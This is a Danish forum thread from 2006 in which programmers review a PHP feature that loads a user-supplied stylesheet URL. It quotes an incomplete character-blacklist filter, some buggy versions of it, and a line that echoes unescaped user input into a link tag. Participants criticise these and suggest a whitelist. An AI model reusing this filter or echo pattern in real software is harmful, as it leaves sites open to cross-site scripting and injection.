 source hvor man kan se hvad der præcist går galt for dig... og 
 linienumrene... JEg vil se den testfil der giver dig problemer?
 -- 
 Med venlig hilsen
 Geert Lund,
 www.GLD.dk
            
             |   |   
            
        
 
            
         
                                  Erik Ginnerskov (01-05-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  01-05-06 00:43 |  
  |  
 
            Geert Lund wrote:
 > men noget undrer mig - hvordan kan du tage
 > copyright på scripts/funktioner andre sidder her og udvikler for dig?
 Det gør jeg da bestemt heller ikke. Jeg lægger netop scripts ud, så andre
 kan kopiere og bruge dem.
 Det jeg forbeholder mig copyright på er undervisningsmaterialet som samlet
 værk. Jeg kan ikke se nogen grund til, at jeg sidder og bruger mange timer
 på at lave gode letforståelige forklaringer, hvorefter andre kopierer
 siderne og offentliggør dem som deres egne - det har jeg været ude for flere
 gange.
 Læs denne side:
 http://hjemmesideskolen.dk/info/owner.asp
-- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
                                   Geert Lund (01-05-2006) 
         
	
            | Kommentar Fra : Geert Lund | 
  Dato :  01-05-06 01:34 |  
  |  
 
            Erik Ginnerskov wrote:
 > Det gør jeg da bestemt heller ikke. Jeg lægger netop scripts ud, så andre
 > kan kopiere og bruge dem.
 > 
 > Det jeg forbeholder mig copyright på er undervisningsmaterialet som samlet
 > værk. Jeg kan ikke se nogen grund til, at jeg sidder og bruger mange timer
 > på at lave gode letforståelige forklaringer, hvorefter andre kopierer
 > siderne og offentliggør dem som deres egne - det har jeg været ude for flere
 > gange.
 > 
 > Læs denne side:
 >  http://hjemmesideskolen.dk/info/owner.asp
Det ændrer dog ikke rigtig min holdning - låner/bruger man koder fra 
 ander - er det mindste man kan gøre da at kreditere dem for det, 
 specielt når det bruges i offentlig sammenhæng hvor andre opfordres til 
 at klip-kopiere...
 Jeg er samtidig stadig ret forarget over at du på en hjemmesideskole 
 kaster dig ud i at lave scripts der skriger til himlen efter at åbne for 
 mulig crosssite-scripting, sql-injections, cookie injects etc. Men endnu 
 mere foraget over du ikke meget nøje dækker det sikkerhedsmæssige aspekt 
 - i netop det du kalder undervisningsmaterialet!
 Derudover svarede du så ikke på resten af mit indlæg?
 -- 
 Med venlig hilsen
 Geert Lund,
 www.GLD.dk
            
             |   |   
            
        
 
            
         
                                    Erik Ginnerskov (02-05-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  02-05-06 16:17 |  
  |  
 
            Geert Lund wrote:
 > Jeg er samtidig stadig ret forarget over at du på en hjemmesideskole
 > kaster dig ud i at lave scripts der skriger til himlen efter at åbne
 > for mulig crosssite-scripting, sql-injections, cookie injects etc.
 > Men endnu mere foraget over du ikke meget nøje dækker det
 > sikkerhedsmæssige aspekt - i netop det du kalder
 > undervisningsmaterialet!
 Så så, små slag. Jeg prøver da på at få rettet de sikkerhedsproblemer, der
 bliver påpeget. Jeg kunne forstå din forargelse, hvis jeg lod 5 og 7 være
 lige og blæste på advarslerne.
 > Derudover svarede du så ikke på resten af mit indlæg?
 Det har jeg så gjort nu.
 -- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
                                  Bertel Lund Hansen (01-05-2006) 
         
	
            | Kommentar Fra : Bertel Lund Hansen | 
  Dato :  01-05-06 11:44 |  
  |  
 
            Geert Lund skrev:
 > Jeg er samtidig stadig ret forarget over at du på en hjemmesideskole 
 > kaster dig ud i at lave scripts der skriger til himlen efter at åbne for 
 > mulig crosssite-scripting, sql-injections, cookie injects etc. Men endnu 
 > mere foraget over du ikke meget nøje dækker det sikkerhedsmæssige aspekt 
 > - i netop det du kalder undervisningsmaterialet!
 Jeg er enig med dig. Det er gået op for mig at Erik ved alt for
 lidt om programmering til at kunne forholde sig til de
 sikkerhedsaspekter som hans idé involverer. Jeg vil råde til at
 han dropper den del af sit projekt. Der er mere end nok af
 usikrede hjemmesider der er pivåbne for banal hackning allerede.
 -- 
 Bertel
 http://bertel.lundhansen.dk/      http://fiduso.dk/
            
             |   |   
            
        
 
            
         
                                   Erik Ginnerskov (01-05-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  01-05-06 22:55 |  
  |  
 
            Bertel Lund Hansen wrote:
 > Jeg vil råde til at
 > han dropper den del af sit projekt. Der er mere end nok af
 > usikrede hjemmesider der er pivåbne for banal hackning allerede.
 Synspunktet er taget til efterretning. Sidens funktion er annulleret.
 -- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
                                  Erik Ginnerskov (02-05-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  02-05-06 16:13 |  
  |  
 
            Geert Lund wrote:
 > Derudover synes jeg det er direkte forkasteligt at du skriver en
 > artikel om hvor let det er at inkludere eksterne scripts - uden med 1
 > ord nævner sikkerheds aspektet som er hele grunden til vi sidder og
 > hjælper dig pt.?
 Det skal da ikke komme an på det. Hvis nogen ønsker at blive nævnt på den
 relevante side efter at have hjulpet mig med at få noget til at fungere, så
 for mig gerne. Ønsket har bare ikke været fremsat før og omvendt har nogen
 frabedt sig at blive nævnt på mine sider.
 > Ikke engang Bertels kommentarer i koden er kommet med - hvordan
 > forventer du at brugerne skal forstå funktionen is_harmful og at den
 > faktisk er _RIGTIG VIGTIG_ hvis man vil inkludere eksternt indtastede
 > styles?
 De kommentarer, der klarlægger sådanne nødvendigheder bør naturligvis
 medtages. I første omgang blev de bare klippet bort for i udviklingsfasen at
 gøre mængden af kode mindre.
 Jeg plejer at medtage kommentarerne, når en side er lavet færdig.
 > Yderligere: "Bemærk, at de to teknikker (serverside-styret css-skift
 > og css-skift via en browserfunktion) ikke er glade for at arbejde
 > sammen." - den forstår jeg simpelthen ikke?
 Det er nu engang min iagttagelse. Den benyttede teknik på
 http://hjemmesideskolen.dk/html/testsider/alternativ.asp vil ikke samarbejde
 med forsøg på at skifte sidens design via serverside-scripting. Der går
 ganske enkelt ged i designet.
 > Men ingen af de to sider du har postet link til indeholder din reelle
 > source hvor man kan se hvad der præcist går galt for dig... og
 > linienumrene...
 Nej, ikke links. Koden står i klar tekst på siden - tydeligt forklaret.
 http://hjemmesideskolen.dk/html/testsider/designskift2.php - Bertels script
 http://hjemmesideskolen.dk/html/testsider/designskift3.php - mit forsøg
 Det største problem er sådan set, at hvis der har været ulovligt input,
 indlæses slet ikke noget css. Men på den anden side er det egentlig ikke mit
 problem, når det ikke er mig, der har foretaget ulovlig indtastning..
 > JEg vil se den testfil der giver dig problemer?
 OK, du får den så også som txt-fil - barberet for alt irrelevant.
 http://hjemmesideskolen.dk/usenet/php-designskift2.txt
http://hjemmesideskolen.dk/usenet/php-designskift3.txt
-- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
                                   Geert Lund (02-05-2006) 
         
	
            | Kommentar Fra : Geert Lund | 
  Dato :  02-05-06 21:52 |  
  |  
 
            Erik Ginnerskov wrote:
 >  http://hjemmesideskolen.dk/html/testsider/designskift2.php - Bertels script
 >  http://hjemmesideskolen.dk/html/testsider/designskift3.php - mit forsøg
 Dit eget script - fungerer jo ikke - efter at have set din kode - fordi 
 du aldrig kalder is_harmful nogen steder - men blot har en:
 <link href="<?php echo $style; ?>" rel="stylesheet" type="text/css" />
 $style bliver aldrig sat og derfor vil det ikke virke hvad enten du 
 indtaster noget forkert eller korrekt (dog med 1 undtagelse - hvis 
 REGISTER_GLOBALS er sat til ON - vil $script og CSS blive loadet i det 
 omfang du indtaster noget validt - mens noget ikke validt vil få din 
 HTML til ikke at validere og derfor give din browser problemer med at 
 loade stylet).
 Derudover - kalder din funktion sig selv rekursivt og hvis du kaldte den 
 ville det ende med en uendelig løkke.
 Og ja, så er der så samtidig de førnævnte problemer - se et par mails 
 tilbage...
 >  http://hjemmesideskolen.dk/usenet/php-designskift2.txt
>  http://hjemmesideskolen.dk/usenet/php-designskift3.txt
Bertels script lider så bl.a. af:
 if (isset($_GET["style"])) $style=$_GET['style']; // Saml input op - 
 også en tom streng.
 if (is_harmful($style) || $style=='') $style=BASICSTYLESHEET;
 Her vil is_harmful($style) blive kaldt med en uinitieret variabel hvis 
 $_GET['style'] ikke er sat (den er ikke indtastet) - det vil udlæse den 
 fejl du snakker om.
 Se også et par mails tilbage her - i min kommentar til Bertel om hvordan 
 jeg mener de par linier bør konstrueres i stedet for.
 -- 
 Med venlig hilsen
 Geert Lund,
 www.GLD.dk
            
             |   |   
            
        
 
            
         
                             Geert Lund (30-04-2006) 
         
	
            | Kommentar Fra : Geert Lund | 
  Dato :  30-04-06 23:59 |  
  |  
 
            Erik Ginnerskov wrote:
 > function is_harmful($bad) {
 >  $bad=array('@','%',"\\",'<','>','(',')',';','script'); }
 > Det fungerede lige så godt - ved lovligt input.
 Og igen - du får nu stadig et tilfældigt resultat som ikke har noget at 
 gøre med det du vil checke!
 Du må _IKKE_ overskrive indholdet i variablen du sender med i dit 
 funktionskald (nu har du bare lavet den om til $bad i stedet for 
 $harmful - men resultatet er ikke anderledes end det jeg tidligere har 
 bemærket!).
 Det er altså meget vigtigt når man programmerer at have 120% styr på 
 hvad man putter i hvilke variable og at man ikke får overskrevet 
 forventede variabler med forkert indhold.
 Bertels forslag er okay - men har et par fejl og et par 
 uhensigtsmæssigheder. Bl.a. vil funktionen fejle hvis filnavnet på et 
 stylesheet indeholder navnet script - hvilket man enten må leve med 
 eller lave nogle andre checks.
 Jeg finder det dog - for at snakke om det mere etiske - en smule forkert 
 at når man har så lidt styr på programmeringen og sikkerhedsmomentet - 
 at lave funktioner der tillader folk at hente eksterne referencer 
 direkte ind i dit script.
 Det kan - og _VIL_ med garanti blive misbrugt til crosssite-scripting, 
 injections eller lignende brister - og jeg synes faktisk du bør lade 
 være med at lave denne mulighed, da der som du kan se er mange ting man 
 skal være sikker på er i orden for at man bør tillade det.
 I hvertfald skal man holde tungen meget lige i munden når man kaster sig 
 ud i opgaver som denne.
 -- 
 Med venlig hilsen
 Geert Lund,
 www.GLD.dk
            
             |   |   
            
        
 
            
         
                            Geert Lund (01-05-2006) 
         
	
            | Kommentar Fra : Geert Lund | 
  Dato :  01-05-06 00:14 |  
  |  
 
            Bertel Lund Hansen wrote:
 > function is_harmful($userstring) {
 >    $harmless = array('','','','','','','','','','','','','','','','','');
 >    $harmful = array('@','%',"\\",'<','>','(',')',';','script');
 >    $lowcasestring=strtolower($userstring);
 >    $newstring=str_replace($harmful,$harmless,$lowcasestring);
 >    // Hvis de er forskellige, var der en udskiftning - der var altså nogle farlige tegn:
 >    return $newstring!=$lowcasestring;
 > }
 Vær dog bl.a. opmærksom på:
 1) at du med denne kode vil få links der indeholder et legalt "script" i 
 domænet/filnavnet til at fejle...
 2) at filnavne der (af uransgelige grunde) indeholder tegnene ( og ) 
 også vil fejle.
 3) Lige som at  http://www.mitstyle.dk/mit%20style.css også vil fejle! 
 (%20 er mellemrum).
 > if (isset($_GET["style"])) $style=$_GET['style']; // Saml input op - også en tom streng.
 > if (is_harmful($style) || $style=='') style=BASICSTYLESHEET;
 Herforstår jeg så ikke helt dit check... men:
    if ( isset( $_GET['style'] ) && trim( $_GET['style'] ) <> '' && 
 !is_harmful( $_GET['style'] ) ) {
    $style = trim( $_GET['style'] )
    } else {
    $style = BASICSTYLESHEET;
    }
 Du får ikke checket efter whitespaces med din kode - derfor indsætter 
 jeg funktionen trim().
 Burde virke :) Er dog ikke testet :)
 -- 
 Med venlig hilsen
 Geert Lund,
 www.GLD.dk
            
             |   |   
            
        
 
            
         
                       Peter Brodersen (29-04-2006) 
         
	
            | Kommentar Fra : Peter Brodersen | 
  Dato :  29-04-06 03:19 |  
  |  
 
            On Sat, 29 Apr 2006 00:22:17 +0200, "Erik Ginnerskov"
 <erik@donotspammmeplease.invalid> wrote:
 >> Hvis der f.eks. forekommer et @ i brugerens style-specifikation,
 >> så er han ude på numre, og der skal lukkes for at specifikationen
 >> kan få effekt.
 >
 >Til gengæld vil du også blokere for brug af / - det vil da ellers være en
 >obligatorisk ingrediens i definition af et fremmed stylesheet.
 Har du egentligt så utroligt mange forskellige stylesheets, at det
 ikke blot er lettere at lave en positiv-liste over hvilke stylesheets,
 der må bruges?
 <?php
 $stylesheets = array("sommer.css","vinter.css","standard.css");
 if (!in_array($_GET['style'],$stylesheets)) die("Ugyldigt CSS");
 ?>
 -- 
 - Peter Brodersen
   Ugens værktøj - sammensæt og opdel PDF-filer:  http://pdf.ter.dk/
            
             |   |   
            
        
 
            
         
                        Erik Ginnerskov (29-04-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  29-04-06 21:26 |  
  |  
 
            Peter Brodersen wrote:
 > Har du egentligt så utroligt mange forskellige stylesheets, at det
 > ikke blot er lettere at lave en positiv-liste over hvilke stylesheets,
 > der må bruges?
 Nej, og det er heller ikke der, hunden liger begravet.
 Som det er nu kan brugerne definere deres eget stylesheet til at vise siden
 med. Den funktion vil jeg gerne bevare samtidig med at scriptet beskyttes
 mod utilsigtet brug - spam eller sql-injection.
 -- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
                 Michael Zedeler (21-04-2006) 
         
	
            | Kommentar Fra : Michael Zedeler | 
  Dato :  21-04-06 00:01 |  
  |  
 
            Erik Ginnerskov wrote:
 > Martin wrote:
 > 
 >>Peter Brodersen wrote:
 >>
 >>>Det er dog lidt overdrevet. Der er ingen mulighed for at få evalueret
 >>>PHP-koden. Den vil blot blive outputtet.
 >>
 >>Det er jeg godt klar over... nu er jeg heller ikke specielt
 >>interesseret, i at lave injections, men det var nu bare for at vise
 >>idéen om hvordan ondsindet ting kan komme ind på en side.
 > 
 > Javel. Men den evaluering af input vil da helt ødelægge ideen med, at siden
 > kan vises med brugerens egen css.
 > 
 > Nogen forslag til, hvodan de to ting kan kombineres?
 Hæld det igennem en regex, som sorterer grimme ting fra. Det er standard.
 Mvh. Michael.
 -- 
 Which is more dangerous? TV guided missiles or TV guided families?
 Visit my home page at  http://michael.zedeler.dk/
Get my vcard at  http://michael.zedeler.dk/vcard.vcf
            
             |   |   
            
        
 
            
         
                  Martin (30-04-2006) 
         
	
            | Kommentar Fra : Martin | 
  Dato :  30-04-06 19:06 |  
  |  
 
            Michael Zedeler wrote:
 > Erik Ginnerskov wrote:
 >> Nogen forslag til, hvodan de to ting kan kombineres?
 > 
 > Hæld det igennem en regex, som sorterer grimme ting fra. Det er standard.
 En god måde at fjerne det væsentligste på er simpelt.
 $css = htmlentities(trim($css));
 trim, for at fjerne mellemrum før og efter.
 htmlentities laver alle / \ < > osv. om til html tegn, dvs så er det 
 helt umuligt at åbne php med <?php eller <?= da det så bliver lavet om 
 til html tegn istedet.
 Dog ligger problemet så i at hvis det skal være muligt at hente et 
 stylesheet fra en anden webside, fx 
 http://et-andet-domæne.dk/stylesheet, så vil det være umuligt.
            
              |   |   
            
        
 
            
         
                   Michael Zedeler (30-04-2006) 
         
	
            | Kommentar Fra : Michael Zedeler | 
  Dato :  30-04-06 22:40 |  
  |  
 
            Martin wrote:
 > Michael Zedeler wrote:
 > 
 >> Erik Ginnerskov wrote:
 >>
 >>> Nogen forslag til, hvodan de to ting kan kombineres?
 >>
 >> Hæld det igennem en regex, som sorterer grimme ting fra. Det er standard.
 > 
 > En god måde at fjerne det væsentligste på er simpelt.
 > 
 > $css = htmlentities(trim($css));
 > 
 > [...]
 > 
 > Dog ligger problemet så i at hvis det skal være muligt at hente et 
 > stylesheet fra en anden webside, fx 
 >  http://et-andet-domæne.dk/stylesheet, så vil det være umuligt.
 Med andre ord en halv løsning, der ikke klarer de mest graverende problemer.
 Mvh. Michael.
 -- 
 Which is more dangerous? TV guided missiles or TV guided families?
 Visit my home page at  http://michael.zedeler.dk/
Get my vcard at  http://michael.zedeler.dk/vcard.vcf
            
             |   |   
            
        
 
            
         
                    Bertel Lund Hansen (30-04-2006) 
         
	
            | Kommentar Fra : Bertel Lund Hansen | 
  Dato :  30-04-06 23:34 |  
  |  
 
            Michael Zedeler skrev:
 >> Dog ligger problemet så i at hvis det skal være muligt at hente et 
 >> stylesheet fra en anden webside, fx 
 >>  http://et-andet-domæne.dk/stylesheet, så vil det være umuligt.
 > Med andre ord en halv løsning, der ikke klarer de mest graverende problemer.
 En halv løsning. Du er alt for venlig. Hans 'løsning' slukker
 præcis for det som Erik prøver at få til at virke.
 -- 
 Bertel
 http://bertel.lundhansen.dk/      http://fiduso.dk/
            
             |   |   
            
        
 
            
         
                     Martin (01-05-2006) 
         
	
            | Kommentar Fra : Martin | 
  Dato :  01-05-06 22:11 |  
  |   
            Bertel Lund Hansen wrote:
 > En halv løsning. Du er alt for venlig. Hans 'løsning' slukker
 > præcis for det som Erik prøver at få til at virke.
 
 Det fandt jeg så også ud af efter jeg havde skrevet indlægget :)
 
  
            
             |   |   
            
        
 
    
 
					
					 
			 | 
			
				
        
			 |